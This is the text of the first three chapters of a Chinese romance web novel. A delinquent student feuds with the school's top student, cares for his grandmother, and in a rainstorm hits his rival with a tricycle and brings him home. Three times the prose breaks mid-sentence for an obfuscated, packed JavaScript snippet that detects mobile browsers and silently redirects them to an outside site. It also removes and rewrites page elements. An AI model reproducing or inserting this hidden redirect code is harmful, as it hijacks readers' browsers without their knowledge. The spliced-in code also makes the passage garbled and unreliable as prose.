《不良捡到死对头校草》 1. 校草和校覇的新仇旧恨 期末考的交卷铃声响起时,严峻睡眼惺忪地从皱巴巴的试卷上抬起头,一双丹凤眼半眯着,显然睡得意犹未尽。 他脸颊上印着卷子的皱痕,几行淡淡的英文字母在白皙的皮肤上若隐若现,一直延伸向嘴角。 老师正在收试卷。严峻用力搓搓脸,低头注意到空白试卷上有一片可疑的湿迹。不禁“操”一声,他赶忙抹一把面颊,又用校服下摆把卷子擦干净。 老师注意到他这个小动作,立刻皱眉,隔着三张桌子扬声质问:“严峻,你干什么,是不是作弊?” 严峻嗤笑一声,拎起空白的卷子晃一晃:“作弊?老子从来都是坦坦荡荡考零分。” “好!大哥威武,光明磊落!”坐在教室角落的小弟袁思齐立刻鼓掌,大声叫好。 老师用“孺子不可教也”的嫌弃眼神瞪他们一眼,收了卷子快步走出大门。 老师一走,教室里顿时热闹起来。袁思齐和林鹤离开座位,围到严峻身旁,兴致勃勃地问:“大哥,你一个字也没写呀?” “又看不懂,写什么?”严峻翘着椅子,一脸无所谓地打了个呵欠。 娃娃脸的林鹤注意到他脸上的字母,忍不住笑着一指:“你搞活字印刷呢?……睡出汗了?” 严峻的表情顿时变得不自在,拂开他的手指,自己用力搓揉:“这么热的天,谁不出汗?” 他站起身,扭头出了教室。几分钟后再回来,白皙的面颊已经干干净净,睫毛、眉毛甚至发梢上都沾着细碎的水珠,显然刚才去卫生间洗了个脸。 那双懒洋洋的丹凤眼终于精神些,挑眉微拧、菱唇抿着,显露出几分生人勿近。 袁思齐正跟林鹤讨论着待会儿要不要去食堂吃午饭:“都怪这个神经病老师,不让提前交卷。不然我们就可以提早去食堂了,不用人挤人……” 扭头见他回来,赶忙问:“大哥,咱们是去吃食堂呢,还是去学校超市买面包?” “买面包吧。”也不坐了,严峻弓腰在桌斗里摸一摸,这才想起,开考前自己的手机被老师收到了讲台上。于是臭着脸抽回手,大步朝前走去。 好巧不巧,前方走道被对答案的同学堵得水泄不通。严峻沉着脸,往那男生的凳子腿儿用力一踹,连人带凳踢出半米远:“让开,别挡路!” 对方吓一跳,赶忙搬起凳子跑走;其他的人也纷纷噤声,面露紧张。 严峻目不斜视地与他们擦身而过,径直从讲台上拿起手机,收进兜里,大步流星地从前门走了出去。 - 学校超市位于宿舍区。虽然占着一楼,但大门是开向侧面的,跟宿舍区的铁门并排着,这样也可以服务宿舍区外部。 早上考完英语,所有的科目就只剩下综合科还没考。学生们三三两两地散落在学校各处,复习的复习,聊天的聊天。还有一些心大的,居然顶着夏天的烈日在操场打篮球!教导主任见了,也睁一只眼闭一只眼——反正不是上课时间,他们爱打就打吧。 严峻三人沿着树荫从教学区走过来,经过人满为患的食堂时,袁思齐伸长脖子看一眼,咋舌道:“今天有酸甜排骨!怪不得人这么多……” 林鹤低着头玩手机,嗤笑一声:“酸甜排骨算什么?下午考完试,我请你们下馆子,想吃什么吃什么。” “好啊好啊!”袁思齐大喜过望,凑上去揽住严峻的肩膀:“大哥,跟我们去嘛!反正你今晚不用训练。” “不去。”严峻心不在焉地拧着眉,也不知在琢磨什么。 林鹤抬眼瞅他,突然笑笑:“去吧!严峻,偶尔也赏个光啊。” “你肯定又要叫上九中那几个吧?”严峻不耐烦地瞥他一眼,“我跟他们处不来。” 林鹤依旧陪着笑脸:“那我不叫他们,就咱们三个。” “不去。”严峻依旧不为所动,“家里有事。” 林鹤的笑容终于僵硬,慢慢消失在脸上。 不远处,超市的彩色门头已经映入眼帘。望着那熙熙攘攘的人群,严峻脚下一顿,不禁露出了烦躁的表情。 这时,前方走过来两个喜形于色的女生。她们激动地拉扯着彼此的衣袖,兴奋道:“秦一泽近看真的好帅啊!他眼睛的形状……叫什么?好像是叫桃花眼?” “他是不是还扶了你一下?” “对啊,扶了一下我的手肘!啊啊啊受不了,他的手好宽好大~” “气死了,撞到他的人怎么不是我!”女生佯装恼怒,掐着好友的脖子轻轻摇晃,半晌又叹一口气:“……可恶,我为什么不是游心瑶,这样就可以天天看帅哥了!秦一泽看腻了,就换任言东,每天不重样。” “你这连吃带拿的,真不亏待自己~”好友揶揄她:“谁不想当游心瑶?年级第一,又有帅哥同桌,我也想这么舒坦啊!” 两个女生嘻嘻哈哈地从他们身旁经过,袁思齐听到任言东的名字,“唉”一声,道:“大哥,任言东不是经常跟你打篮球吗?放假后咱们可以约他去打球啊!” 严峻的面色却莫名冷酷,硬邦邦地回绝了他:“……再说吧!” 走进人满为患的超市,三人分头行动,各自行事。严峻走到面包货架前,兴致缺缺地挑选着。人声熙攘之中,一个清越而磁性的声音突然从货架对面传来:“任言东,你要牛肉肠吗?” “要!要两根!” “还有呢?” “还要两包虾条!……哦,心瑶要吃可爱多,你别忘了!” “好,知道了。” 听见这个装模作样的斯文声音,严峻面色一沉,表情直接从冷酷恶化成了咬牙切齿。要是袁思齐在边上,他肯定要大呼小叫:“天哪,大哥,是谁惹你生气了?!” 严峻黑着脸,心烦意乱地从货架上拿了个肉松面包,转身走向冰柜:这个瘟神……老子可不要跟他撞上! 冰柜边上有好几个人在挑选雪糕。严峻焦灼地等待两秒,见有一人退出来,便立刻补上去,在雪糕筐中翻找自己喜欢吃的巧克力可爱多。 好不容易翻到一个,他正要拿,袁思齐突然在收银台前呼唤他:“大哥,我买烤肠,你要吃吗?” 扭头望去,严峻见那小子举着两根烤肠冲自己摇晃,便不耐烦地答:“随便!” 袁思齐又问:“一根还是两根?” 严峻额上的青筋快爆了:“……一根!” “好嘞!” 终于摆脱这个啰嗦鬼,他心浮气躁地扭回头,正要拿起那个可爱多。一只宽大的、骨骼修长的手却从边上伸过来,就在他的眼皮子底下,拿走了他刚刚翻出来的巧克力味可爱多。 严峻:“……操!” 怒不可遏地扭头望去,一张他化成灰也不会忘的可恶俊脸就在三十厘米之外,从容地将那根唯一的巧克力味可爱多丢进购物小筐。 严峻的喉咙紧缩一秒,新仇旧恨顿时一齐涌上来,气得他当即攥住了对方的手腕:“你没长眼吗,抢老子的东西?” 面前这双五分钟前刚被女生称赞过的桃花眼在镜片后面轻轻一弯,配合着修长的浓眉,露出了一个好整以暇的从容微笑:“你的东西?那它怎么不在你的手里呢?” 这个笑容,严峻永远也不会忘记——两个月前,对方也是这么笑着,对自己发出了警告:“你确定要这样不依不饶吗?” 咬牙几秒,他眼角余光注意到周围熙熙攘攘的同学,心中突然一定:我就不信,你敢在这么多人面前暴露本性! 冷笑一声,严峻向前一步:“我刚要拿,就被你抢走了——秦大校草,你一个优等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230582|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生,不会连先来后到这个道理都不懂吧?” 复兴二中公认的校草秦一泽同学静静注视着他,脑袋轻轻一歪,镇定自若地将那张俊美的脸迎上去,与他针锋相对:“刚要拿,那就是还没拿。严同学,我劝你下次还是不要分心。毕竟,想要的东西,落袋为安才是硬道理。” 他声音很轻,似乎顾忌着面子,不想在众目睽睽之下发生冲突。严峻顿觉自己捉到了他的把柄,冷笑着攥紧他的手腕:“怎么,今天人多,不敢跟我来硬的了?” “——不敢?”镜片掠过一缕反光,秦一泽的微笑中突然多了一分别的东西,凉丝丝的瘆人。 他反手抓住严峻的拳头,不动声色地攥紧,直攥得严峻咬紧了牙关:“严同学,你想清楚了,我是优等生——我俩要是打起来,你说,教导主任会偏向谁呢?” 严峻的面色瞬间变得黑沉。 秦一泽眯起眼,勾唇一笑,露出标准的八颗牙齿:“到时候,你架没打赢,处分也背上了,多丢人啊?而且,你的小弟就在外头。看见大哥被揍得鼻青脸肿,他们会作何感想呢,嗯?” 闻言,严峻脸上幻痛起来,脑子里不由闪过了两个月前的那一幕场景—— 那是一个星期五,恰逢期中测验成绩放榜。 严峻记得很清楚。那次测验他心情好,把选择题都填上了,居然真给他蒙对一些!放榜时,袁思齐还说,大哥,你进步了四十多名!天,真是大姑娘上花轿——头一回啊! 严峻踹他一脚,没好气地骂:“谁是大姑娘啊!”踹完了,转身走向后操场,准备去训练。 他抄近道,从人迹罕至的食堂后头穿过去。在转弯处,一个高挑的身影不长眼地撞上来,把他的肩膀□□了一下。 对方刚要说:“不好意思……”可在看清他的脸之后,这人的道歉瞬间吞了回去,只意味深长地打量他一眼,转身便走。 严峻心里那怒气“噌”地窜了起来。 一伸手揪住对方的后领,严峻恼火道:“秦一泽是吧?火箭班的优等生,撞到人也不道个歉?” 秦一泽冷冷地甩开桎梏,转身看向他,眼底隐约透着烦躁:“你每次撞人都道歉吗?不见得吧。” “操!”严峻的耐心已经消耗殆尽,又一次揪住他的衣领,与他双目平视,剑拔弩张地对峙着:“——你是来找茬的吧!?” 望着他怒火腾腾的眼眸,秦一泽勾起嘴角,露出了一个标致的、意味深长的微笑:“你确定要这样不依不饶吗?” 被校外那些小混混挑衅都未曾感到如此的怒气,严峻当即怒骂一声“操”,挥拳便往他脸上招呼。 不料,秦一泽闪电般攥住他的拳头,顺势卸力,再轻轻一拧。严峻顿时感到天旋地转,脚下一空,随即面颊传来砸在水泥地板上的剧痛。 手臂被拧到身后,关节仿佛脱臼了,闪电般的刺痛令后背一瞬间沁出了冷汗。秦一泽用膝盖压着他的胳膊和后腰,斯文而磁性的声音像恶魔,不紧不慢地在他耳边低语:“严同学,我劝你别惹我。我是练家子,你这种三脚猫功夫,我一招就可以把你摁死~” 语气温柔,尾音还带波浪号,就如同此时此刻——在人群熙攘的超市里,严峻看着他温和友爱的笑容,以及那双藏在镜片后的桃花眼……想到门口的袁思齐和林鹤,最终,他还是咬紧牙关,忍辱负重地将手一甩,握着拳背到了身后。 秦一泽不紧不慢地一歪头,笑眼盈盈:“这样才对嘛!严同学,冰淇淋我就拿走了,拜拜~” 说完,他从容地从严峻身旁挤过去,走向收银台结账。 肩膀被挤得狠狠一晃,严峻怒而回头,看着他高挑帅气的身影,一双丹凤眼气得几乎倒竖: 秦一泽,你等着的!不报复回来,老子就不姓严! 2. 不为人知的家境 下午考理综。新的监考老师应该是高一年级的,对他们宽松许多,严峻一行人便提前交卷,拿着篮球去了操场。 四点的时间,太阳仍旧晒得要命。几个少年不知死活地顶着烈日在操场上奔跑跳跃,篮球拍在地面上砰砰作响。声音回荡在安静的校园里,显得分外刺耳。 “老大,”袁思齐很快被晒得汗如雨下,坐到树荫里看严峻投三分,“明天就放假了——这可是高三前最后一个暑假!这三十天,你准备怎么玩儿啊?要不要我带你去游泳,我家那边正好有个游泳馆,人不多,还便宜。” “不去。”严峻看不看他,抬手一个三分球,篮球应声入网。 林鹤捞过落下的篮球,若有所思地来到他身旁,将球抛过去:“又是家里有事?” “嗯。”接过球,严峻脚下猛地启动,三步上篮,高高跃起——只可惜还是不够高,篮球灌到了筐上,“砰”一声弹飞出去。 “老大,你家里到底有什么事,我们能不能帮上忙?”假期这么长,却不能跟兄弟出去玩。袁思齐十分不甘,琢磨着为老大分忧解难。 林鹤也道:“就是啊。严峻,咱们认识两年,还没去过你家呢!你家住哪儿啊?” “跟你们有关系吗,查户口啊?”不耐烦地呛一声,严峻风似的跑向场边,眨眼间就把篮球追了回来,“你们自己玩得了呗,非得拖上我?” “……这不是怕太久不见面,老大你想我嘛!”袁思齐嬉皮笑脸的,还想再追问两句,屁股却冷不丁被轻踹了一下,一个低沉浑厚的声音在身后响起:“谁让你们打球的?” “卧槽!”这声音不用听就知道是教导主任。袁思齐屁滚尿流地爬起来,老老实实站好,低眉顺眼:“伟……陈老师!” 年届四十的陈国伟身材高大,以前是体育老师,现在已经有些发福。他留着板寸头,一双虎目锐利地望向严峻,擒贼先擒王:“既然交了卷,为什么不离校?在这儿拍得乒乓响,自己不想学,也别打扰别人啊!” 严峻被训得有些难堪,嘴角紧绷着,梗直脖子道:“我是体育生,待会儿还有训练。” “训练?”陈国伟轻哼,“我问了体育张老师,他跟我说,这几天不训练。” 撒谎被打脸,严峻咬咬牙,只得收起篮球,扭头往车棚走。 袁思齐和林鹤从身后追上来,咋舌道:“伟哥真烦人!总是针对你……老大,你别放在心上。咱们去网吧打游戏,我请你!” “明天吧,现在一身汗,没心情。”把篮球丢进车筐,严峻抬脚一跨,将自行车蹬出了车棚。 三人鱼贯驶出校门,经过道闸时还被门卫吼一声:“不准在学校里骑车!” 几人脚下狂蹬几步,眨眼间便过了马路,沿着路边飞驰而去。严峻站在踏板上,夏天潮热的风吹起少年的校服,精瘦的腰上还带着薄薄的汗腻。 不起眼的黑色自行车在行驶中发出细微的吱嘎声。他不疾不徐地蹬几下,很快来到一个三岔口,向右转弯。 “走了!”抬起修长的手臂挥一挥,袁思齐只来得及“哎”一声,严峻精瘦的背影便消失在了视野之中。 - 学校到家里的路程有些远,需要骑半个小时的自行车。 高挑精瘦的少年从城阳区一路骑到砚井坊,街道两旁的建筑也从崭新的高楼变成了低矮喧闹的老旧民宅。 沿着清澈的小河骑行几百米,在一株开满粉花的紫薇树下拐个弯,驶进一条不宽不窄的弄堂,严峻的家便近在眼前。 避开路边堆放的旧家具、轮胎、泡沫箱花草等物,他把自行车停在红白相间的塑料雨棚下,正碰见隔壁家的吴叔拎着工具箱回来: “哟,小峻!今天这么早回家呀?” “嗯,今天期末考,考完就离校了。叔,你下班了?” “别提了!这么热的天,让我上门装空调,连个高空作业费也不给!小峻啊,你可要好好学习,考上个好大学。以后别像你吴叔这么苦……苦就算了,还赚不到钱!” 严峻敷衍地“嗯”一声,背着西晒掀起门帘,阳光瞬间照进室内,将拥挤而整齐的摆设照得一片光亮。 一米二长的三层玻璃柜台贴着门槛放在门口,里面是各式各样的小零食。一个花白头发的老奶奶躺在柜台内侧的竹制躺椅上,手边的老收音机放着熟悉的戏曲,咿咿呀呀的,严峻听得都起茧了:“阿婆,你拉着门帘,那些小孩还以为你关门了!” “都没到放学时间的嘛!”阿婆摇着一把大蒲扇,懒洋洋的,好不自在。突然,她睁开浑浊的眼,终于意识到是孙子回来了:“小峻!今晚做豆腐嘛?我要吃豆腐!” 严峻已经沿着狭窄的走道钻进了厨房里:“茄汁豆腐还是肉末豆腐?” 阿婆兴致勃勃地咂咂嘴:“蟹黄豆腐!” 严峻正在厨房里清点面粉的库存,闻言直起身,无奈地叹气:好嘛,要吃蟹黄豆腐!这老太太……还得跑一趟超市给她买咸鸭蛋。 等他清点完走出去,阿婆把大蒲扇盖在胸口,又睡着了。 深色门帘被阳光照得透蓝,严峻顶着一脑门的汗悄悄凑上前,见她闭着眼睛,轻声打鼾……视线默默移向玻璃柜台里的曲奇铁盒,里头零零碎碎放着许多纸币,面值不大,多是两块钱、五块钱的。 他屏息静气,悄无声息地伸出手,企图拿一张十块。就在他的手指即将碰到纸币时,阿婆突然睁开眼,眼珠澄明无比,劈手便打: “小棺材,又来偷我的钱!你是谁家的猢狲,爹妈怎么教你的,看我不打你!” 严峻被阿婆打得跳起来,懊恼地喊:“阿婆是我,小峻!我拿钱买菜,给你做蟹黄豆腐!” “小峻是谁,不认得!休想偷我的钱!” 火烧火燎地抢出门去,严峻灰头土脸地揉揉胳膊,只得认命地骑上自行车往街口走。 吴叔在二楼还笑他呢:“又想拿你阿婆的钱啦?我说你们这些小孩,怎么就不长记性呢?” 郁闷地蹬上车子,严峻不吭声,眨眼间消失在街口。 - 四天之后,期末考试的成绩出来了。 一大清早,严峻忙活完家里的事,哈欠连天地骑自行车去学校拿成绩单。进校门时,正赶上几个老师在布告栏张贴成绩排行榜。 周围已经围了许多学生,里三层外三层,好像早一秒看见成绩就能前进几名似的。他不屑地“嗤”一声,骑着车径直驶过去。走进教室时,一半座位都是空的。 班主任罗思音还没来,正好让他补个觉。严峻熟练地把座椅向后挪挪,身子往桌上一趴,眨眼间便睡着了。 等袁思齐把他拍醒时,小个子的中年女士拿着一张成绩单,已经眼神犀利地站在了讲台上。 罗思音推推眼镜儿,先用力盯他一眼,这才扫向别处:“这次期末考的成绩,我想大家心里都有数,我就不说什么了,反正说多了也没意思。你们把成绩单拿回去,好好看看,想一想这个暑假该怎么过——等再回来就是高三的学生了,高考近在咫尺。上本科还是高职,都是你们自己的路,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230583|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不过再陪你们一年而已。” 她把成绩单递给班长,班长再发给各个小组,一个一个往后传。等严峻拿到成绩单时,他只一眼,就发现了自己的名字——倒数第十九名,十分好找。 不出所料,正常发挥。 袁思齐倒数第八,林鹤倒数三十一,半斤八两,没什么好看的。严峻百无聊赖地翻到前面,果然,排在第一名的依旧是雷打不动的游心瑶,复兴二中的天才学神少女。 第二名也完全没有悬念,秦一泽,数学和理综比游心瑶少了13分。 经常跟他俩混在一起的任言东就差了些,第三十五名。但考虑到他“睡神”的外号,这个成绩就显得十分难能可贵了。 啧,都是睡神,怎么人家就能考高分呢?……他不会是抄的吧? 严峻恶劣地想。 发完成绩单,紧接着是各科的作业。望着桌面上越堆越多的卷子、习题册,严峻满不在乎地打个呵欠,反手将它们通通塞进桌斗里,心里只觉得不耐烦。 十点整,等老班叮嘱完假期注意事项后,假期终于宣告开始。 他们几个赶着高二最后的时间去打了场球。炽热的阳光之下,离校的同学熙熙攘攘,严峻在他们若有若无的注视之中一连投中了五个三分球。 其他班的体育生被吸引了,把书包一丢,也加入进来。八个人分成四比四,袁思齐道:“要是再来两个人就好了!” 话音刚落,不远处就冲来一人,高声嚷嚷着:“加我一个,加我一个!” 众人扭头看,原来是火箭班著名的睡神,任言东。 这小子性格爽朗,没有优等生的酸腐气,长得又高挑,身高足足有一米八七。高一时就被拉进了校篮队,是当之无愧的大中锋。 严峻作为得分后卫,跟他打过一年球,两人算是有点儿交情。现在见人迫切地奔过来,急急忙忙跟个大马猴似的,他忍不住嗤笑:“这么着急干嘛?” “不着急能行吗!”任言东气喘吁吁地在他面前停下,俊朗的脸跑得微红:“考理综那天我就听见你们打球了!听得我那个心痒,恨不得马上加一个。可等我交完卷出来,操,你们居然走了!” “那不怪我,你怪伟哥去吧,他赶我们的。”严峻不紧不慢地拍着球,又问:“就你一个?” “昂,就我一个!”说完,任言东好像想起什么,扭头往后一指:“不对,也许还有一个!” 严峻顺着他的手指望去,却看见了自己最不想看见的人——秦一泽没戴眼镜,身着常服T恤,和马尾卷卷的游心瑶并排走在林荫路上。 两人正专注地讨论着什么,一高一矮的身影就像网上说的“最萌身高差”,很是般配。 任言东爽朗地道:“秦一泽打篮球也挺好的!他是控卫,打球可聪明了!”说完,抬起胳膊大力挥舞:“秦一泽,别聊题目了,过来打……嗷!” 话没说完,声音便劈了叉——严峻用力攥着他的手腕,咬牙切齿地拽下来,凤眼怒瞪、神情狰狞:“……就不麻烦优等生了吧?还是说,你不敢跟我们四打五?” 任言东疼得直蹦高:“敢、敢、敢!嗷,严峻你松手,你手劲儿大不知道啊?” 丢开手,严峻气息不稳地瞪他一眼,随即紧张地望向树下——秦一泽依旧往前走着,只不过那双桃花眼抬了起来,注视着这边。 在两人四目相对时,他勾起嘴角,朝严峻露出了一个悠然自得的笑。 操……! 严峻顿时感觉,自己再一次被他蔑视了。 3. 雨夜车祸 中午跟他们打完球,严峻忍着一身的汗腻骑车回家。刚一进门,天色就变得阴沉沉的,好像要下暴雨了。 不得不将自己这辆吱嘎乱响的二手车抬进屋里,放在拥挤的过道上。经过阿婆的房间时,严峻见她坐在床边,正举着两个白软透油的肉包子,惬意地慢慢品尝。 蓬松的包子皮绵软香甜,肉馅咸香多汁,是他早上特意帮阿婆留的。 老人家食量不大,中午吃两个包子也足够了。严峻放下心,转而收拾衣服去洗澡。 正往手里挤洗发水,窗外突然电光一闪,接着是震耳欲聋的炸雷。 严峻忍不住“操”一声:“搞什么,老子还打算下午去买面粉的啊……!” 洗完澡出来,雨幕已经遮天蔽日。沿着没有扶手的木楼梯爬上阁楼,严峻这才发现窗户没关。雨水凶猛地扑进来,沿着木板的缝隙滴到楼下,淅淅沥沥的。他赶忙冲过去关窗,刚换上的衣服又被浇了个透湿。 “操!” 干脆衣服也不穿了,严峻脱掉衣裤,拧干了挂在椅背上,只穿一条小内裤睡午觉。心想着晚一点也许会停雨,他闭上眼,很快在雨声中睡了过去。 这一觉睡到四点多才醒来。 睁开眼,天光依旧暗沉。严峻迷迷糊糊地扭头往窗外望,正好看见一个闪电劈下来,照亮稠密的雨幕。 他绝望地睁大眼,只得接受了这个事实:“……看来只能冒雨去买面粉了。” 穿上雨衣,带上雨布和绳索,严峻从雨棚底下跑到隔壁,问吴叔借三轮车。 中年男人摸出钥匙,面露犹豫:“雨这么大,你一定要出门吗?” “面粉没有了……只剩五斤多,不够明天做包子。”严峻窘迫地挠挠头,“叔,我会很小心的,一定不碰坏你的车!碰坏了我负责找人修,不用你操心!” “叔不是怕碰坏车子……哎,算了,给你吧!你开车慢点儿,记得靠边走,知道吗?” “好,谢谢叔!”瞬间振奋,严峻接过钥匙,套上雨衣,又把雨布塞进怀里,随即冲进雨幕,爬上了门口的红色三轮车。 削瘦的黑色身影稳稳当当,熟练地发动车子,慢慢在雨幕中远去。吴叔挂心地望着,半晌摇摇头,叹口气:“小小年纪,就这么辛苦……” - 粮油批发店在两条街之外。虽然不算太远,但也有三公里的距离。 家里没个像样的运输工具,可面粉的消耗量又大,每天要用二十斤。所以每次问吴叔借三轮车,严峻都会尽可能多买几袋回来——五十斤装的五得利面粉,一次性买十二袋,足足六百斤,卸货时能把他累出一身的汗。 冒雨赶到粮油批发店,人家正准备关门呢,见他开着车从雨幕里杀出来,吓了一跳:“这么大雨,我还说没人来买东西了!……怎么样,还是十二袋面粉吗?” “是!”严峻的眼睫毛被大雨淋得糊在一起,雨水沿着脖颈流进去,冷得他嘴唇发白,直打哆嗦。 老板招呼工人搬面粉上车,又拿一条毛巾给他擦脸:“冒雨过来,也不怕把面粉淋湿了?……等雨小一点再回去吧。” 看着面粉被一袋袋抬上车,严峻内心稍定,不自在道:“不妨碍你们下班么?” “妨碍什么?我骑小电驴回去也是要淋雨的。”老板笑得爽朗。 于是在店里坐了二十来分钟,见雨势终于小了,他便站起身,将雨布严严实实地罩在面粉山上,四角用绳子绑好,跟老板道别:“谢谢老板,好生意啊!” “哎,好,开车小心!” 沿着来路开回去,两侧商店的招牌终于清晰了些,可见度有所提升。不大不小的雨幕之中,路上行人几乎绝迹,小电驴也没了踪影。从身旁驶过的只有一辆又一辆小汽车,“哗啦啦”溅起积水,全部泼在他身上。 “操……”咒骂也没了力气,严峻的手已经冻得麻木,五指僵硬地握着车把,一心只想赶快回家。 他忍不住加了点儿油门——反正现在街上车不多,开快些应该没事的。 浑浑噩噩往前赶着,突然,他见前方的绿化带旁丢着一把黑色的伞。那伞折了骨架,像一只已经死去的乌鸦,羽毛凌乱地泡在积水里,也不知是谁丢在这儿的。 严峻麻木地注视着它,下意识想,有伞就应该有人。果不其然,一个人影突兀地出现在视野里,脚步踉跄。 那人一身黑衣,全身湿淋淋的,背着个轻飘飘的运动包,没有撑伞。他脊背佝偻着,身材高挑,好像有一米八多?大概是喝醉了,一会儿往左,一会儿往右,飘忽不定的,搞得严峻都没法儿前进。 忍不住摁一下喇叭,对方身形一顿,慢吞吞地往人行道移动些许,道路终于通畅。 严峻回家心切,不疑有他,加大油门直直开过去—— 就在两人擦肩而过的下一秒,他听见“哗啦”一声,三轮车好像带到什么,轻轻颠簸了一下。 ……操,别是碰到那个醉鬼了吧? 立刻踩下刹车,严峻扯下雨衣兜帽,胆战心惊地回头望——那个黑衣的人影果然摔倒在地,整个人面匍向下,趴在积水里。他一只手正放在车轮后侧,显然刚被碾压过。 操,操操操! 严峻心跳几乎停了,整个人如坠冰窟。他赶忙翻身下车,脑子里一瞬间闪过了许多交通肇事、巨额赔偿的案例。 拽住对方胳膊,慌慌张张地试图把人拉起来:“哎!你没事吧?撞到哪儿没有……” 对方被拽得翻个身,倒在严峻怀里,却露出了一张他最不想看见的脸——修长眉毛,紧闭的桃花眼。雨水淋在睫毛上,积满眼窝之后,绕过他高挺的鼻梁流向尖削的下巴,又蜿蜒着淌进衣领里。 那张可恶的唇此时没有血色,苍白地紧抿着。湿淋淋的头发黏在额上,额角一块通红的擦伤,正沁着丝丝血迹,很快被雨水冲得无影无踪。 霎时间,严峻几乎想撒手把人丢开——操,怎么是秦一泽? 内心剧烈地天人交战着,他半蹲在三轮车边,一时间搂也不是,松也不是。为难之下甚至生出恼意:这么大的雨,你不待在家,跑出来瞎晃什么!还走到路中间,往我车上撞……碰瓷呢你! 这时,怀里的秦一泽轻哼一声,缓缓睁开了眼。严峻的身体更僵硬了,喉咙紧绷着,粗声粗气道:“你,你没事吧,还能动吗?” 秦一泽眯着眼,摇摇晃晃地抬起手,揪住他的雨衣:“你是……” 但下一秒,他便体力不支,又晕了过去。 ……操,看来今天不得不破财消灾了! 心疼得几乎要淌血,严峻摸出手机,咬牙切齿地准备拨打120。可一抬头,看见这一车的面粉,以及雨布上不断流淌的雨水……他又犹豫了。 虽说面粉袋里有塑料防潮膜,但淋得久了,万一出个意外,一千多块就打水漂了啊! 再低头看向怀里的秦一泽:除了额头上那个擦伤之外,他好像没有其他的伤口? 拧眉思索两秒,严峻小心翼翼地掀起他的衣服和裤腿,四处查看。确认没有别的伤,他顿时长吁一口气,当机立断:不管了,先把这家伙带回家!等卸好面粉,我再送他去医院。 反正注定是要破财的,能保一头是一头吧! 立刻攥紧秦一泽的胳膊,像扛面粉似的把人拽到背上。严峻吃力地扛起他,在雨中一点点挪到车子后头,放下挡板, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230584|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艰难地把人放躺到面粉堆上。 雨水依旧下着,沿着秦一泽苍白的面颊一路流淌。严峻扣好挡板,正要开车。看见这一幕,他心虚地犹豫一秒,随即脱下雨衣,把人盖了个严严实实。 ……可别感冒了,又多花一笔医药费。 - 十分钟后,严峻终于开着车回到静河路。 在屋里听见声音,吴叔放下心,赶忙端着碗往外走:“小峻,你终于回来了!我还以为你出事儿了呢……” 可跨过门槛,他只看见一车面粉孤零零地停在雨棚下头。严峻的声音从屋里曲折地传出来:“没出事儿!就是……雨太大了,我怕淋坏面粉,在店里等了一会儿。” 他气喘吁吁的,好像在搬运什么。吴叔猛扒几口饭,埋怨道:“哎呀,你着急什么!我又不催你,你慢慢卸货!” 放下碗刚要帮手,却见面粉上的防雨布捂得好好的,四角的绳索都没解开。吴叔不禁懵了:那小峻是在扛什么呢? 疑惑地揭开雨布,扛起一袋面粉往里走。严峻正好从楼上跑下来,浑身上下湿淋淋的,头发都在淌水! 吴叔又惊了:“我不是见你穿了雨衣的么?” 严峻面色有些苍白,嘴角僵硬地扯一扯:“雨衣……不顶用,还是淋湿了。” “这样?”吴叔狐疑地走进厨房里,把面粉放到角落。严峻在他身后紧跟着走进来,也卸下一袋,生硬地笑道:“叔,你去吃饭吧,我慢慢卸。” “没事,我吃饱了,正好强身健体。” 有人帮手,十二袋面粉很快卸了下来,整整齐齐码放在厨房门口。见他身上湿淋淋的,吴叔也不磨蹭,拿了钥匙转身回家:“你赶紧洗个热水澡吧!别感冒了。” “好,谢谢吴叔。” 嘴唇微微哆嗦着,严峻站在厨房门口,不敢妄动。直到看见吴叔走远了,他这才猛扑过去,把门板用力关紧,迫切地打上反锁。 转身又轻手轻脚摸到阿婆房门口,探头窥视。见老人家靠在床头,迷迷糊糊地歪头小睡,严峻终于松一口气,那瞬间小腿酸软,像刚训练完似的,差点站不起来。 扶着门框转过身,艰难地走向楼梯。此时已是傍晚六点半,天色愈发暗沉。楼上黑洞洞的,仿佛是什么怪物的巢穴,令人心生畏惧。 忐忑地爬上楼梯,严峻把身体压低了,小心翼翼地望着自己那张一米二的床,一点一点向前移动。当看到床上那个修长的人影时,他下意识咽一口唾沫,体温几乎降到了冰点。 秦一泽好像还没醒。 站在床边小心翼翼地打量着,严峻见他身上湿淋淋的,把凉席都沁湿了。犹豫两秒,他回身拿了条毛巾过来,准备帮秦一泽擦头发。 这人也不知淋了多久的雨,身上淋得透湿,没有一处是干的。严峻拧眉擦拭着,视线随着动作从额头一点点滑下去,落到那双可恶的桃花眼上。他发现秦一泽的眼珠子很黑,黑得没有一丝杂质,像黑曜石,专注地注视着自己。 